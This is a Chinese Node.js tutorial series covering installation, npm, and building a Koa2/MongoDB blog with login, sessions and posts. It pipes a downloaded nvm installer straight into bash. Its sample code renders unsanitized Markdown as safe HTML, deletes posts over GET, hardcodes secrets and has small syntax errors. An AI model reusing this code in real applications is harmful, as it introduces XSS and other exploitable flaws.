本章节我们将向大家介绍在各个平台上(win,mac与ubuntu)安装Node.js的方法。本安装教程以 Latest LTS Version: 8.11.1 (includes npm 5.6.0) 版本为例
注:Node.js 10 将在今年十月份成为长期支持版本, 使用npm install -g npm
升级为npm@6,npm@6性能提升了17倍
Node.js 有很多种安装方式,进入到Node.js的官网,我们点击 Download 即可下载各个平台上的Node.js。在Mac / Windows 平台我们可以直接下载安装包安装,就像安装其他软件一样。在Ubuntu 可以通过 apt-get 来安装*(CentOS 使用 yum )* , Linux 用户推荐使用源码编译安装。
在 Node.js 的官网 你会发现两个版本的Node.js,LTS 是长期支持版,Current 是最新版
安装完成后在命令行输入
node -v
# v8.11.1
nvm是Node版本管理器。nvm不支持Windows 可使用nvm-windows 代替
我们可以使用curl或者wget安装。
curl -o- https://raw.githubusercontent.com/creationix/nvm/v0.33.11/install.sh | bash
wget -qO- https://raw.githubusercontent.com/creationix/nvm/v0.33.11/install.sh | bash
注:安装完重启下命令行
使用nvm可以方便的下载安装删除各个版本的Node.js
nvm install node # 安装最新稳定版 node,现在是 v10.0.0
nvm install lts/carbon #安装 v8.11.1
# 使用nvm use切换版本
nvm use v6.14.2 #切换至 v6.14.2 版本
nvm ls # 查看安装的node版本。
具体使用请参考nvm官网
cnpm 淘宝 NPM 镜像
nrm 快速切换 NPM 源
由于我国的网络环境,npm源访问会很慢,这时我们可以使用cnpm 或是 用nrm把源换成能国内的
cnpm 安装
npm install -g cnpm --registry=https://registry.npm.taobao.org
或是使用nrm
# 下载包
npm install -g nrm
# 使用
nrm ls
* npm ----- https://registry.npmjs.org/
cnpm ---- http://r.cnpmjs.org/
taobao -- https://registry.npm.taobao.org/
nj ------ https://registry.nodejitsu.com/
rednpm -- http://registry.mirror.cqupt.edu.cn
skimdb -- https://skimdb.npmjs.com/registry
# 使用淘宝的源
nrm use taobao
到此想必各位已经在本机上搭建好了node环境,来个 hello world
结束本文
const http = require('http');
const hostname = '127.0.0.1';
const port = 3000;
const server = http.createServer((req, res) => {
res.statusCode = 200;
res.setHeader('Content-Type', 'text/plain');
res.end('Hello World\n');
});
server.listen(port, hostname, () => {
console.log(`Server running at http://${hostname}:${port}/`);
});
启动服务
$ node app.js
Server running at http://127.0.0.1:3000/
每次改的代码都要重启很麻烦,使用supervisor实现监测文件修改并自动重启应用。
在编写一个稍大的程序我们一般会将代码模块化使其更易开发维护。Node.js模块采用了CommonJS规范,一个单独的文件就是一个模块。每一个模块都是一个单独的作用域。提供了 require
函数来调用其他模块、exports
对象是当前模块的导出对象,用于导出模块公有方法和属性。exports
是指向的 module.exports
的引用
模块是Node.js 应用程序的基本组成部分,文件和模块是一一对应的。换言之,一个 Node.js 文件就是一个模块,这个文件可能是JavaScript 代码、JSON 或者编译过的C/C++ 扩展。
我们都知道JavaScript先天就缺乏一种功能:模块。浏览器环境的js模块划分只能通过src
引入使用。然而,我们是辛运的的,我们在身在这个前端高速发展的时代*(当然了,这也是一种压力,一觉醒来又有新东西诞生了)*。高速发展下社区总结出了CommonJS这算得上是最为重要的里程碑。CommonJS 制定了解决这些问题的一些规范,而Node.js就是这些规范的一种实现。Node.js自身实现了require方法作为其引入模块的方法,同时NPM也是基于CommonJS定义的包规范
每个文件就是一个模块,有自己的作用域。在一个文件里面定义的变量、函数、类,都是私有的,对其他文件不可见。commonJS这套规范的出现使得用户不必再考虑变量污染,命名空间这些问题了。
// add.js
const add = (a, b)=>{
return a+b
}
module.exports = add
=============================
// index.js
const add = require('./add')
let result = add(1, 2)
console.log(result)
require()
这个方法存在接受一个模块标识,以此引入模块
const fs = require('fs')
Node中引入模块要经历一下三步:
Node优先从缓存中加载模块。Node的模块可分为两类:
Node核心模块加载速度仅次于缓存中加载,然后路径形式的模块次之,最慢的是自定义模块。
在模块中,上下文提供了exports
来到处模块的方法或者变量。它是唯一出口
exports.add = function(){
// TODO
}
在模块中还存在一个module对象,它代表模块自身,exports
是它的属性。为了方便,Node为每个模块提供一个exports变量,指向module.exports。这等同在每个模块头部,有一行这样的命令
var exports = module.exports
不能直接将exports变量指向一个值,因为这样等于切断了exports与module.exports的联系
exports和module.exports 区别
exports仅仅是module.exports的一个地址引用。nodejs只会导出module.exports的指向,如果exports指向变了,那就仅仅是exports不在指向module.exports,于是不会再被导出
npm
的出现则是为了在CommonJS规范的基础上,实现解决包的安装卸载,依赖管理,版本管理等问题,npm
不需要单独安装。在安装Node的时候,会连带一起安装npm
一个符合CommonJS规范的包应该是如下这种结构:
_
-
.
但不能有空格除了前面提到的几个必选字段外,还有一些额外的字段,如bin、scripts、engines、devDependencies、author
行下面的命令,查看各种信息
# 查看 npm 命令列表
$ npm help
# 查看各个命令的简单用法
$ npm -l
# 查看 npm 的版本
$ npm -v
# 查看 npm 的配置
$ npm config list -l
Node模块采用npm install
命令安装。
每个模块可以“全局安装”,也可以“本地安装”。“全局安装”指的是将一个模块安装到系统目录中,各个项目都可以调用。一般来说,全局安装只适用于工具模块。“本地安装”指的是将一个模块下载到当前项目的node_modules
子目录,然后只有在项目目录之中,才能调用这个模块。
# 本地安装
$ npm install
# 全局安装
$ sudo npm install --global
$ sudo npm install -g
指定所安装的模块属于哪一种性质的依赖关系
–-save
:模块名将被添加到dependencies,可以简化为参数-S
。–-save-dev
: 模块名将被添加到devDependencies,可以简化为参数-D
。$ npm install --save
$ npm install --save-dev
我们可以使用以下命令来卸载 Node.js 模块
$ npm uninstall
我们可以使用以下命令来更新 Node.js 模块
$ npm update
我们可以使用以下命令来创建 Node.js 模块
$ npm init
npm init
创建模块会在交互命令行帮我们生产package.json文件
$ npm init
This utility will walk you through creating a package.json file.
It only covers the most common items, and tries to guess sensible defaults.
See `npm help json` for definitive documentation on these fields
and exactly what they do.
Use `npm install --save` afterwards to install a package and
save it as a dependency in the package.json file.
Press ^C at any time to quit.
name: (node_modules) test # 模块名
version: (1.0.0)
description: Node.js 测试模块 # 描述
entry point: (index.js)
test command: make test
git repository: https://github.com/test/test.git # Github 地址
keywords:
author:
license: (ISC)
About to write to ……/node_modules/package.json: # 生成地址
{
"name": "test",
"version": "1.0.0",
"description": "Node.js 测试模块",
……
}
Is this ok? (yes) yes
以上的信息,你需要根据你自己的情况输入。默认回车即可。在最后输入 “yes” 后会生成 package.json 文件。
发布模块前首先要在npm注册用户
$ npm adduser
Username: liuxing
Password:
Email: (this IS public) [email protected]
然后
$ npm publish
现在我们的npm包就成功发布了。
更多请查看npm帮助信息 npm 文档
上一节讲了Node.js 的模块以及npm。想必大家都学会了如何安装以及使用Node 模块。这一节,我们一起来看看看Koa2
新建一个文件夹hiKoa2,并进入该项目,执行npm init
命令,根据提示输入,生成package.json 文件。你也可以直接使用npm init -y
# 新建文件夹并进入
$ mkdir hiKoa2 && cd hiKoa2
# npm init -y 自动生成package.json
$ npm init -y
安装 Koa2
$ npm install koa --save
新建 index.js,say hello
const Koa = require('koa')
const app = new Koa()
app.use(async ctx => {
ctx.body = 'Hello World'
});
app.listen(3000)
在命令行输入 node index.js
访问http://localhost:3000/ 页面将显示 hello, Hello World。恭喜,你已经成功跑起来了个Koa2服务。
之前写过一篇Koa2快速入门 介绍了Koa2 路由、静态资源、模板引擎、请求数据的获取等。这儿就不再赘述,关于数据库的使用之后再补上
在第一节的时候我们说过supervisor 和 nodemon,不知道你们有没有去自己了解。现在来看看如何使用。
安装使用supervisor
# 全局安装
$ npm i -g supervisor
# 运行程序
$ supervisor index.js
现在更改index.js 文件试试,supervisor 会自动重启程序而不需要我们手动重启,supervisor 会监听当前目录下的js文件。nodemon使用方式基本一样,不过可配置性更高。
使用VS Code 调试
如果你是用VS Code这个宇宙最强编辑器,那很方便你可以直接使用其自带的调试工具。
ctx.body = 'Hello World'
左侧空白处添加断点。现在在浏览器中打开 http://localhost:3000/ *(也可以直接切换到终端 curl localhost:3000
)*就可以从VS Code 的调试栏查看详细信息了。
使用 Chrome DevTools
曾经要想在Chrome DevTools中调试我们需要 node-inspector 这个工具,[email protected]以后内置了一个调试器。
我们只需要运行一下命令,再访问 chrome://inspect 点击 Remote Target 下的 inspect,选择 Sources 找到源码即可打断点调试。
$ node --inspect index.js
MongoDB 是一个基于分布式文件存储的数据库。由 C++ 语言编写。旨在为 WEB 应用提供可扩展的高性能数据存储解决方案。MongoDB 是一个介于关系数据库和非关系数据库之间的产品,是非关系数据库当中功能最丰富,最像关系数据库的。
MongoDB 的官网有了详细的安装引导
https://docs.mongodb.com/manual/administration/install-community
也可以看看菜鸟教程
http://www.runoob.com/mongodb/mongodb-window-install.html
我们启动MongoDB服务后,我们可以使用 MongoDB shell 来连接操作 MongoDB 服务器
创建数据库,如果数据库不存在,则创建,否则切换到指定数据库
use DATABASE_NAME
查看所有数据库
show dbs
删除数据库
db.dropDatabase()
查看集合
show collections
创建集合
db.createCollection(name, options)
删除集合
db.collection.drop()
插入文档
db.COLLECTION_NAME.insert(document)
更新文档
db.collection.update(
<query>,
<update>,
{
upsert: <boolean>,
multi: <boolean>,
writeConcern: <document>
}
)
删除文档
db.collection.remove(
<query>,
<justOne>
)
查询文档
db.collection.find(query, projection)
可能你会觉得在命令行操作起来太麻烦,不怕,还有可视化工具呢。
现在我用的比较多的是 Studio 3T 这是一个收费的(基础功能免费),当然还有个Robo 3T是免费的。Robo 3T(以前叫作Robomongo)不过它被3T Software Labs给收购了。
Studio 3T 肯定比Robo 3T 强大点,毕竟有的功能是要收费的,关于二者的选择,还是先自行尝试一番。
关于Node操作 MongoDB可以看看 Node操作MongoDB数据库 在这个教程中用了express加mongoose。与Koa2 结合也大致一样。
通常一个完整健壮的项目,需要良好的团队协作,我们需要统一好编码风格以及代码风格按照一定规范来编码。
我们新建一个项目目录 blog
$ mkdir blog && cd blog
在项目目录下运行 npm init
生成package.json 初识化项目
在blog 下建立如下目录及文件,现在在这个项目中有models
层 、views
视图、routes
路由等
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FhIargce-1654394990958)(./images/dir.png)]
我们还用到了ESLint 来检查代码风格,使用editorconfig来统一编码风格,使用Git 管理项目,commitizen来统一Commit message。
现在这几个目录都是空的,但Git不跟踪空目录,我们在目录下建立了个.gitkeep
.gitkeep 是一个约定俗成的文件名并不带有特殊规则。我们还用到了.gitignore
文件,文件的内容为我们要忽略提交到Git的文件,Git就会自动忽略这些文件。例如:
.DS_Store
node_modules
*.log
在项目中我们使用 .editorconfig
文件 统一代码风格 ,该文件用来定义项目的编码规范如:缩进方式、换行符,编码等。编辑器的行为会与.editorconfig 文件中定义的一致,并且其优先级比编辑器自身的设置要高,这在多人合作开发项目时十分有用而且必要。
# editorconfig.org
root = true
[*]
indent_style = space
indent_size = 2
end_of_line = lf
charset = utf-8
trim_trailing_whitespace = true
insert_final_newline = true
[*.md]
trim_trailing_whitespace = false
更多配置请查看 http://editorconfig.org
在这项目中我们使用了Git 来作为版本控制器,如果你还不太会GIt 请先阅读 一篇文章,教你学会Git ,写好Commit message 则可参考 更优雅的使用Git
使用npm 全局安装
$ npm install -g commitizen
在项目中使用 angular 的 commit 规范
$ commitizen init cz-conventional-changelog --save-dev --save-exact
然后我们就可以愉快的使用 git cz 代替 git commit 命令了。当然我们也可也将其加到npm script 中
"script": {
"commit": "git cz"
}
然后直接使用npm run commit
或者使用 git cz
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gTjG5nyj-1654394990959)(https://github.com/commitizen/cz-cli/raw/master/meta/screenshots/add-commit.png)]
ESLint 是一个插件化的javascript代码检测工具,它可以用于检查常见的JavaScript代码错误,也可以进行代码风格检查,这样我们就可以根据自己的喜好指定一套ESLint配置,然后应用到所编写的项目上,从而实现辅助编码规范的执行,有效控制项目代码的质量。
在开始使用ESLint之前,我们需要通过NPM来安装它:
$ npm install -g eslint
# 我们也可以将它安装到项目开发依赖中
$ npm install --save-dev eslint
接下来就可以使用 eslint*.js
来检查代码。我们还可以与 Git hooks 配合,在提交时自动检查
$ npm install --save-dev lint-staged husky
husky 可以方便我使用Git hooks,我们用来配置在提交代码是检查代码
lint-staged 每次提交只检查本次提交所修改的文件
关于代码风格,我们使用 JavaScript standard style
$ npm install --save-dev eslint-config-standard eslint-plugin-standard eslint-plugin-promise eslint-plugin-import eslint-plugin-node
然后配置 .eslintrc
{
"extends": "standard"
}
你也可以直接使用eslint —init
来初始化 eslint 配置,eslint 会创建一个 .eslintrc.json 的配置文件,同时自动安装相关模块,省去了我们手动安装配置
我们在package.json 稍做配置即可
// 配置husky 在提交代码时运行lint-staged
"husky": {
"hooks": {
"pre-commit": "lint-staged"
}
},
// 配置lint-staged 只在检查本次提交的代码
"lint-staged": {
"*.js": [
"eslint --fix",
"git add"
]
}
到此我们的这个项目配置的差不多了,也是一套比较流行的工作流。
最后来把我们要用到的Koa相关的包给安装着,具体开发还是放到下一节
$ npm install --save koa koa-router koa-views koa-static
上一节我们规划好了目录,配置好了开发环境。现在就来将项目跑起来,本节主要是讲视图、控制器之类的串起来。
我们先来配置下路由,前面说了,路由放在routes
目录下.
// routes/index.js
const router = require('koa-router')()
module.exports = (app) => {
router.get('/', require('./home').index)
router.get('/about', require('./about').index)
app
.use(router.routes())
.use(router.allowedMethods())
}
// routes/home.js
module.exports = {
async index (ctx, next) {
await ctx.render('index', {
title: 'abc-blog',
desc: '欢迎关注公众号 JavaScript之禅'
})
}
}
看看index.js
// index.js
const Koa = require('koa')
const router = require('./routes')
const app = new Koa()
router(app)
app.listen(3000, () => {
console.log('server is running at http://localhost:3000')
})
模板引擎(Template Engine)是一个将页面模板和数据结合起来生成 html 的工具。在这个项目中我们使用了 nunjucks 这个模板引擎,nunjucks移植与Python的jinja2,使用起来基本一样
$ npm i koa-views nunjucks --save
使用koa-views 来配置 nunjucks
const Koa = require('koa')
const path = require('path')
const views = require('koa-views')
const router = require('./routes')
const app = new Koa()
app.use(views(path.join(__dirname, 'views'), {
map: { html: 'nunjucks' }
}))
···
将所有模板放在 views
目录下,在views
目录下新建一个index.html
{{title}}
{{title}}
{{ desc }}
然后可以通过 ctx.render
函数 渲染模板,第一个参数是模板的名字,它会自动去views 找到对应的模板并渲染,第二个参数是传输的给模板的数据。如下,我们渲染了index.html并传给了它title与desc
// routes/home.js
module.exports = {
async index (ctx, next) {
await ctx.render('index', {
title: 'abc-blog',
desc: '欢迎关注公众号 JavaScript之禅'
})
}
}
打开浏览器将得到如下内容
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8aQp9a3U-1654395053124)(./images/koa-views.png)]关于nunjucks的具体语法可查看官方文档
https://mozilla.github.io/nunjucks/cn/templating.html
我们将使用 koa-static 插件来处理静态资源,并且把所有静态资源放在public目录下
···
const serve = require('koa-static')
···
app.use(serve(
path.join(__dirname, 'public')
))
···
现在处理数据库相关的处理没加入,我们的这个项目基本上已经成型。在开发阶段,我们使用
$ nodemon index.js
来启动项目,免去手动重启的问题
在前一节中,我们已经将项目跑起来了。这节我们来使用mongoose来操作MongoDB,通过之前的的章节想必大家都在安装起了MongoDB,并了解了一点点基本使用。关于mongoose的基本使用可以查看Node操作MongoDB数据库
##连接数据库
在连接数据库之前当然是先开启数据库了。如果忘了怎么开启,回过头去看看*(温故而知新)*
index.js
...
const mongoose = require('mongoose')
mongoose.connect('mongodb://localhost:27017/blog')
在项目中,代码与配置分离是一种很好的做法。可以很方便我们的更改,同时在开发阶段、测试阶段、线上部署等阶段使用不同的配置。关于如何针对不同环境使用不同配置,后面再说
我们先在config文件夹下建一个config.js
module.exports = {
port: process.env.PORT || 3000,
session: {
key: 'blog',
maxAge: 86400000
},
mongodb: 'mongodb://localhost:27017/blog'
}
现在在index.js中直接引入config.js 使用即可
...
const mongoose = require('mongoose')
const CONFIG = require('./config/config')
mongoose.connect(CONFIG.mongodb)
..
现在我们以下节要讲的用户登录注册为例来设计用户模型,并生成Model。 model是由schema生成的模型,可以对数据库的操作
const mongoose = require('mongoose')
const Schema = mongoose.Schema
const UserSchema = new Schema({
name: {
type: String,
required: true,
unique: true
},
email: {
type: String,
required: true,
unique: true
},
password: {
type: 'string',
required: true
},
meta: {
createAt: {
type: Date,
default: Date.now()
}
}
})
module.exports = mongoose.model('User', UserSchema)
在routes
目录下新建一个user.js
用来实现用户注册登录等。如下,为了演示使用mongoose操作数据库,我们新建了一个用户
const UserModel = require('../models/user')
module.exports = {
async signup (ctx, next) {
const user = {
name: 'liuxing'
email '[email protected]'
password: '123456'
}
const result = await UserModel.create(user)
ctx.body = result
},
}
添加一个GET /signup
路由,查看数据库可以看见刚刚新建的这个用户
在这儿,我们把数据写死了,没有从表单获取数据,也没有对密码加密。详细的登录注册我们下一节再讲。
这一节开始,我就来实现具体的功能了,这一节要实现的是用户登录注册与登出。
在前一节已经规划好了UserSchema
,这儿增加了一个isAdmin
字段来判断是不是管理员
...
const UserSchema = new Schema({
name: {
type: String,
required: true, // 表示该字段是必需的
unique: true // 表示该字段唯一
},
email: {
type: String,
required: true,
unique: true
},
password: {
type: 'string',
required: true
},
isAdmin: {
type: Boolean,
default: false
},
meta: {
createAt: {
type: Date,
default: Date.now()
}
}
})
module.exports = mongoose.model('User', UserSchema)
定义了用户表的 schema,并通过schema生成导出了 User 这个 model
由于HTTP协议是无状态的协议,所以服务端需要记录用户的状态时,就需要用某种机制来识具体的用户,这个机制就是Session.典型的场景比如购物车,当你点击下单按钮时,由于HTTP协议无状态,所以并不知道是哪个用户操作的,所以服务端要为特定的用户创建了特定的Session,用用于标识这个用户,并且跟踪用户,这样才知道购物车里面有几本书。这个Session是保存在服务端的,有一个唯一标识。在服务端保存Session的方法很多,内存、数据库、文件都有。集群的时候也要考虑Session的转移,在大型的网站,一般会有专门的Session服务器集群,用来保存用户会话,这个时候 Session 信息都是放在内存的,使用一些缓存服务比如Memcached之类的来放 Session。
思考一下服务端如何识别特定的客户?这个时候Cookie就登场了。每次HTTP请求的时候,客户端都会发送相应的Cookie信息到服务端。实际上大多数的应用都是用 Cookie 来实现Session跟踪的,第一次创建Session的时候,服务端会在HTTP协议中告诉客户端,需要在 Cookie 里面记录一个Session ID,以后每次请求把这个会话ID发送到服务器,我就知道你是谁了。有人问,如果客户端的浏览器禁用了 Cookie 怎么办?一般这种情况下,会使用一种叫做URL重写的技术来进行会话跟踪,即每次HTTP交互,URL后面都会被附加上一个诸如 sid=xxxxx 这样的参数,服务端据此来识别用户。
Cookie其实还可以用在一些方便用户的场景下,设想你某次登陆过一个网站,下次登录的时候不想再次输入账号了,怎么办?这个信息可以写到Cookie里面,访问网站的时候,网站页面的脚本可以读取这个信息,就自动帮你把用户名给填了,能够方便一下用户。这也是Cookie名称的由来,给用户的一点甜头。
所以,总结一下:
Session是在服务端保存的一个数据结构,用来跟踪用户的状态,这个数据可以保存在集群、数据库、文件中。
Cookie是客户端保存用户信息的一种机制,用来记录用户的一些信息,也是实现Session的一种方式。
koa2原生功能只提供了cookie的操作,但是没有提供session操作。session就只用自己实现或者通过第三方中间件实现。这里我们使用koa-session 来实对session的支持。
下载使用
$ npm install --save koa-session
...
const session = require('koa-session')
...
app.keys = ['somethings']
app.use(session({
key: CONFIG.session.key,
maxAge: CONFIG.session.maxAge
}, app))
上一节中我们已经实现了一个最简单的用户注册。来新建个views/signup.html
{% extends 'views/base.html' %}
{% block body %}
{% endblock %}
对于POST请求的处理,koa2没有封装获取参数的方法,需要我们自己去解析*(通过解析上下文context中的原生node.js请求对象req,将POST表单数据解析成query string(例如:a=1&b=2&c=3
),再将query string 解析成JSON格式)* 我们可以自己写,也可以直接使用第三方中间件。koa-bodyparser中间件可以把koa2上下文的formData 数据解析到ctx.request.body中
安装使用
$ npm install --save koa-bodyparser
// index.js
...
const bodyParser = require('koa-bodyparser')
..
app.use(bodyParser())
现在就可以使用ctx.request.body 获取到POST过来的参数了。
这儿我们使用了bcryptjs
来对密码进行加密加盐。
const bcrypt = require('bcryptjs')
const UserModel = require('../models/user')
module.exports = {
async signup (ctx, next) {
if (ctx.method === 'GET') {
await ctx.render('signup', {
title: '用户注册'
})
return
}
// 生成salt
const salt = await bcrypt.genSalt(10)
let { name, email, password } = ctx.request.body
// TODO 合法性校验
// 对密码进行加密
password = await bcrypt.hash(password, salt)
const user = {
name,
email,
password
}
// 储存到数据库
const result = await UserModel.create(user)
ctx.body = result
}
}
在前面这步我们已经实现了用户的注册,添加如下路由
...
router.get('/signup', require('./user').signup)
router.post('/signup', require('./user').signup)
..
现在访问http://localhost:3000/signup 将看见如下页面
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-n3lM9Ix2-1654395173928)(./images/signup.png)]
注册用户,就可以在数据库中查看到该用户。注意这儿斌没有做一些校验工作,可以自己先实现。
现在我们来完成登录页,在routes/user.js
中新增signin方法
async signin (ctx, next) {
await ctx.render('signin', {
title: '用户登录'
})
}
新建用户登录页signin.html
{% extends 'views/base.html' %}
{% block body %}
{% endblock %}
新增路由
// routes/index.js
...
router.get('/signin', require('./user').signin)
router.post('/signin', require('./user').signin)
...
现在访问http://localhost:3000/signup 将看见如下登录页
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WowGrfoc-1654395173930)(./images/signin.png)]
用户登录时,根据post过来的name去数据库中查找有无该用户,如果有,就校验穿上来的密码与数据库中的是否一致。数据库中的密码使用了bcrypt加密。我们使用bcrypt.compare()
来比对
async signin (ctx, next) {
if (ctx.method === 'GET') {
await ctx.render('signin', {
title: '用户登录'
})
return
}
const { name, password } = ctx.request.body
const user = await UserModel.findOne({ name })
if (user && await bcrypt.compare(password, user.password)) {
ctx.session.user = {
_id: user._id,
name: user.name,
isAdmin: user.isAdmin,
email: user.email
}
ctx.redirect('/')
} else {
ctx.body = '用户名或密码错误'
}
}
为了能够直观的看见我们登录了,修改一下views/header.html
这里我们根据 session 判断用户是否登录,登录了就显示用户名以及退出按钮,如未登录则显示登录注册按钮。
在view中是不能直接获取到ctx的,除非每次都通过模板引擎传过来。为了方便,我们使用ctx.state
来将信息传给前端视图,这样我们就可以直接使用了。修改index.js在路由前面加上如下代码
..
app.use(async (ctx, next) => {
ctx.state.ctx = ctx
await next()
})
router(app)
..
现在用你之前注册的用户登录试试。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-E2uAo17M-1654395173930)(./images/login-index.png)]
最后我们来实现用户登出 GET /signout
,将session.user设置为null即可
signout (ctx, next) {
ctx.session = null
ctx.redirect('/')
}
Koa 是一个简单、轻量的 Web 框架。Koa 的最大特色,也是最重要的一个设计,就是中间件*(middleware)* 。Koa 应用程序是一个包含一组中间件函数的对象,它是按照类似堆栈的方式组织和执行的。Koa中使用 app.use()
用来加载中间件,基本上Koa 所有的功能都是通过中间件实现的。每个中间件默认接受两个参数,第一个参数是 Context 对象,第二个参数是next
函数。只要调用next
函数,就可以把执行权转交给下一个中间件。
下图为经典的Koa洋葱模型
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mxxGkd7H-1654395212396)(http://ommpd2lnj.bkt.clouddn.com/onion.png)]
看看官网的经典示例:
const Koa = require('koa')
const app = new Koa()
// x-response-time
app.use(async (ctx, next) => {
const start = Date.now()
await next()
const ms = Date.now() - start
ctx.set('X-Response-Time', `${ms}ms`)
})
// logger
app.use(async (ctx, next) => {
const start = Date.now()
await next()
const ms = Date.now() - start
console.log(`${ctx.method} ${ctx.url} - ${ms}`)
})
// response
app.use(async ctx => {
ctx.body = 'Hello World'
})
app.listen(3000)
上面的执行顺序就是:请求 ==> response-time中间件 ==> logger中间件 ==> 响应中间件 ==> logger中间件 ==> response-time中间件 ==> 响应。
请求进来,先进到x-response-time
中间件,执行 const start = new Date()
然后遇到await next()
,则暂停x-response-time
中间件的执行,跳转进logger
中间件,同理,最后进入响应中间件,响应中间件中没有await next()
代码,则开始逆序执行,也就是再先是回到logger
中间件,执行await next()
之后的代码,执行完后再回到x-response-time
中间件执行await next()
之后的代码。
我们来看看如何编写中间件,其实上面的logger、x-response-time都是中间件,通过app.use
注册,同时为该函数传入 ctx
和 next
两个参数。
ctx
作为上下文使用,包含了基本的 ctx.request
和 ctx.response
,还对 Koa
内部对一些常用的属性或者方法做了代理操作,使得我们可以直接通过 ctx
获取。比如,ctx.request.url
可以写成 ctx.url
。
next
参数的作用是将处理的控制权转交给下一个中间件,而 next()
后面的代码,将会在下一个中间件及后面的中间件运行结束后再执行。
// middleware/logger.js
module.exports = function () {
return async function ( ctx, next ) {
console.log( ctx.method, ctx.header.host + ctx.url )
await next()
}
}
前面我们实现了用户登录注册,但是没有一个友好的提示如:注册成功、登陆成功等。一般一个操作完成后,我们都希望在页面上闪出一个消息,告诉用户操作的结果。其原先是出自 rails 的,用于在页面上显示一些提示信息。
我们就来实现一个基于session的消息闪现。新建middlewares
目录,并建一个flash.js
module.exports = function flash (opts) {
let key = 'flash'
return async (ctx, next) => {
if (ctx.session === undefined) throw new Error('ctx.flash requires sessions')
let data = ctx.session[key]
ctx.session[key] = null
Object.defineProperty(ctx, 'flash', {
enumerable: true,
get: () => data,
set: (val) => {
ctx.session[key] = val
}
})
await next()
}
}
这个flash消息就是将消息挂到session上再清空,只显示一次,刷新后就没有了。这个中间件可优化的地方还很多,这儿重点不是优化功能就先跳过。
我们还需添加一个显示提示的视图模板,就叫他notification.html
吧
// components/notification.html
{% if ctx.flash %}
{% if ctx.flash.success %}
{{ctx.flash.success}}
{% elif ctx.flash.warning %}
{{ctx.flash.warning}}
{% endif %}
{% endif %}
这个模板中,添加了success和warning两种提示。把它引入base.html
。
使用flash中间件
// index.js
...
const flash = require('./middlewares/flash')
...
app.use(flash())
...
// user.js
...
signout (ctx, next) {
ctx.session.user = null
ctx.flash = { warning: '退出登录' }
ctx.redirect('/')
}
...
这节我们来实现一个文章相关功能:
发表文章 GET posts/new
POST posts/new
文章详情 GET posts/:id
修改文章 GET posts/:id/edit
POST posts/:id/edit
删除文章 GET /posts/:id/detele
文章列表直接就在 GET /
和 GET /posts
显示
// routes/index.js
...
router.get('/', require('./posts').index)
...
router.get('/posts', require('./posts').index)
router.get('/posts/new', require('./posts').create)
router.post('/posts/new', require('./posts').create)
router.get('/posts/:id', require('./posts').show)
router.get('/posts/:id/edit', require('./posts').edit)
router.post('/posts/:id/edit', require('./posts').edit)
router.get('/posts/:id/delete', require('./posts').destroy)
...
// models/post.js
const mongoose = require('mongoose')
const Schema = mongoose.Schema
const PostSchema = new Schema({
author: {
type: Schema.Types.ObjectId,
ref: 'User',
require: true
},
title: {
type: String,
required: true
},
content: {
type: String,
required: true
},
pv: {
type: Number,
default: 0
},
meta: {
createdAt: {
type: Date,
default: Date.now()
},
updatedAt: {
type: Date,
default: Date.now()
}
}
})
PostSchema.pre('save', function (next) {
if (this.isNew) {
this.meta.createdAt = this.meta.updatedAt = Date.now()
} else {
this.meta.updatedAt = Date.now()
}
next()
})
module.exports = mongoose.model('Post', PostSchema)
这个文章模型,有作者、标题、内容、pv、创建时间、修改时间等。当然还应该有分类,额,我们之后再加。
上面我们用到了pre()
前置钩子来更新文章修改时间。
先来实现创建文章的功能。新建个创建文章页views/create.html
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cQmE1Dlz-1654395336699)(./images/create.png)]
{% extends 'views/base.html' %}
{% block body %}
{% block script %}
{% endblock %}
{% endblock %}
这儿我们实现了一个最简陋的Markdown编辑器*(函数去抖都懒得加)*
Markdown: Basics (快速入门)
新建控制器routes/posts.js
,并把create方法挂到路由
module.exports = {
async create (ctx, next) {
await ctx.render('create', {
title: '新建文章'
})
}
}
访问http://localhost:3000/posts/new 试试。
接下来,我们在routes/posts.js
引入文章Model
const PostModel = require('../models/post')
修改create 方法,在GET时显示页面,POST时接收表单数据并操作数据库
...
async create (ctx, next) {
if (ctx.method === 'GET') {
await ctx.render('create', {
title: '新建文章'
})
return
}
const post = Object.assign(ctx.request.body, {
author: ctx.session.user._id
})
const res = await PostModel.create(post)
ctx.flash = { success: '发表文章成功' }
ctx.redirect(`/posts/${res._id}`)
}
...
发表一篇文章试试!到数据库看看刚刚新建的这条数据。注意:这儿我们并没有做任何校验
上面,在发表文章后将跳转到文章详情页,但是先什么都没有,现在就来实现它,在posts.js
新建show
方法用来显示文章
async show (ctx, next) {
const post = await PostModel.findById(ctx.params.id)
.populate({ path: 'author', select: 'name' })
await ctx.render('post', {
title: post.title,
post,
comments
})
}
这儿用到了populate
方法,MongoDB是非关联数据库,它没有关系型数据库joins
特性,但是有时候我们还是想引用其它的文档,为了决这个问题,Mongoose
封装了一个Population
功能。使用Population
可以实现在一个 document 中填充其他 collection(s) 的 document(s)。
文章详情模板
{% extends 'views/base.html' %}
{% block body %}
{% include "views/components/header.html" %}
{{post.title}}
作者:{{post.author.name}}
{% if post.author.toString() == ctx.session.user._id %}
{% endif %}
{{marked(post.content) | safe}}
{% endblock %}
在模板里我们用到marked,我们需要将marked挂到ctx.state上
...
const marked = require('marked')
...
marked.setOptions({
renderer: new marked.Renderer(),
gfm: true,
tables: true,
breaks: false,
pedantic: false,
sanitize: false,
smartLists: true,
smartypants: false
})
...
app.use(async (ctx, next) => {
ctx.state.ctx = ctx
ctx.state.marked = marked
await next()
})
...
接下来实现文章列表页
const PostModel = require('../models/post')
module.exports = {
async index (ctx, next) {
const posts = await PostModel.find({})
await ctx.render('index', {
title: 'JS之禅',
desc: '欢迎关注公众号 JavaScript之禅',
posts
})
}
}
修改我们的主页模板
{% extends 'views/base.html' %}
{% block body %}
{% include "views/components/header.html" %}
JS之禅
起于JS,而不止于JS
{% for post in posts %}
{% endfor %}
{% endblock %}
现在访问下http://localhost:3000 你将看到文章列表,点击文章将打开文章详情页
